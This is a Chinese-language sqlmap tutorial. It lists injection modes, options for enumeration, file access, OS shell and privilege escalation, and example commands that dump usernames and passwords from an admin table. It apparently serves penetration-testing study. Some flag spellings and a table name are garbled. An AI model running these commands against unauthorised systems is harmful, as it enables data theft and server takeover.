Sqlmap使用教程
Sqlmap简介
注入模式
-
基于布尔的盲注:可根据返回页面判断条件真假的注入
-
基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
-
基于报错注入:即页面返回错误信息,或者把注入的语句结构直接返回在页面中
-
联合查询注入:可以使用union注入
-
堆查询逐日:可以同时执行多条语句的执行时的注入
常用命令参数
-
-is-dba 当前用户权限(是否为root权限)
-
-dbs 所有数据库
-
-current-db 网站当前数据库
-
-users 所有数据库用户
-
-current-user 当前数据库用户
-
-random-agent 构造随机的user-agent
-
-password 数据库密码
-
-proxy http://local:8080 -threads 10 (可以自定义线程加速)代理
-
-time-sec=TIMESEC DBMS 响应的延迟时间(默认为5秒)
常用选项
Target(目标)
以下至少需要设置其中一个选项
-
-d DIRECT 直接连接到数据库
-
-u url 目标的URL
-
-c configfile 从INI配置文件中加载选项
-
-l LIST 从Burp或WebScarab代理的日志中解析目标
-
-r REQUESTFILE 从一个文件中载入HTTP请求
-
-g GOOGLEDORK 处理Google dork的结果作为目标URL
Request(请求)
这些选项可用来指定如何连接到目标URL
-
-data=DATA 通过post发送的数据字符串
-
-cookie=COOKIE HTTP Cookie头
-
-cookie-urlencode URL编码生成的cookie注入
-
-auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)
-
-auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
-
-auth-cert=ACERT HTTP认证证书(key_file, cert_file)
-
-proxy=PROXY 使用HTTP代理连接到目标URL
-
-proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
Enumeration(枚举)
可以用来列举数据库管理系统的信息、表中的结构和数据
-
-b -bannner 检索数据库管理系统的标识
-
-current-user 检索数据库管理系统当前用户
-
-current-db 检索数据库管理系统当前数据库
-
-is-dba 检测DBMS当前用户是否DBA
-
-users 枚举数据库管理系统用户
-
-passwords 枚举数据库管理系统用户密码哈希
-
-privileges 枚举数据库管理系统用户的权限
-
-roles 枚举数据库管理系统用户的角色
-
-dbs 枚举数据库管理系统数据
-
-D DBname 要进行枚举的指定数据库名
-
-T TBLname 要进行枚举的指定数据库表
-
-tables 枚举的DBMS数据库中的表
-
-columns 枚举DBMS数据库表列
-
-dump 转储数据库管理系统的数据库中的表项
-
-dump-all 转储所有的DBMS数据库表中的条目
-
-search 搜索列(S)、表(S)和数据库名称(S)
-
-C col 要进行枚举的数据库列
-
-U user 用来进行枚举的数据库用户
-
-exclude-sysdbs 枚举时排除系统数据库
-
-level=LEVEL 执行测试的等级(1-5,默认为1,等级最低是,级别越高检测越全面)
Brute force(蛮力)
这些选项用于蛮力检查
-
-common-tables 检查存在共同表
-
-common-columns 检查存在共同列
File system access(访问文件系统)
这些选项可以用来访问后端数据库管理系统的底层文件系统
-
-file-read=RFILE 从后端数据库的管理系统文件系统读取文件
-
-file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
-
-file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access (操作系统访问)
这些选项用于访问后端数据库管理系统的底层操作系统
-
-os-cmd=OSCMD 执行操作系统命令
-
-os-shell 交互式的操作系统的shell
-
-os-pwn 获取一个OOB SHELL, meterpreter或VNC
-
-os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
-
-os-bof 存储过程缓冲区溢出利用
-
-priv-esc 数据库进程用户权限提升
Windows注册表访问
这些选项用来访问后端数据库管理系统windows注册表
-
-reg-read 读一个windows注册表项值
-
-reg-add 写一个windows注册表项值数据
-
-reg-del 删除windows注册表键值
-
-reg-key=REGKEY windows注册表键
-
-reg-value=REGVAL windows注册表项值
-
-reg-data=REGDATA windows注册表值数据
-
-reg-type=REGTYPE windows注册表项值类型
Miscellaneous(杂项)
-
-batch 从不询问用户输入,使用所有默认配置
-
-beep 发现SQL注入时提醒
常用命令
#检测全部的数据库类型,默认级别为1
python sqlmap.py -u "url" -batch
#指定数据库类型为MySQL,级别为3
python sqlmap.py -u "url" -dbms MySQL -level3
#当程序有防get注入的时候,使用cookie注入
python sqlmap.py -u "url" -cookie "id=11" -level 2
#从post数据包中注入
python sqlmap.py -r "path\file_name" -p "username" -dbms mysql
注入成功以后
#查询有哪些数据库
python sqlmap.py -u "url" -dbms mysql -level 3 -dbs
#查询test数据库中有哪些表
python sqlmap.py -u "url" -dbms mysql -level 3 -D tset -tables
#查询test数据库中admin表有哪些字段
python sqlmap.py -u "url" -dbms mysql -level 3 -D test -T admin -columns
#dump出字段username与password中的数据
python sqlmap.py -u "url" -dbms mysql -level 3 -D test -T admin -C "username,password" -dump
#从数据库中搜索字段
python sqlmap.py -r "path\file_name" -dbms mysql -D test -search -C admin.password
说明:在test数据库中搜索admin和password字段
本文参考链接: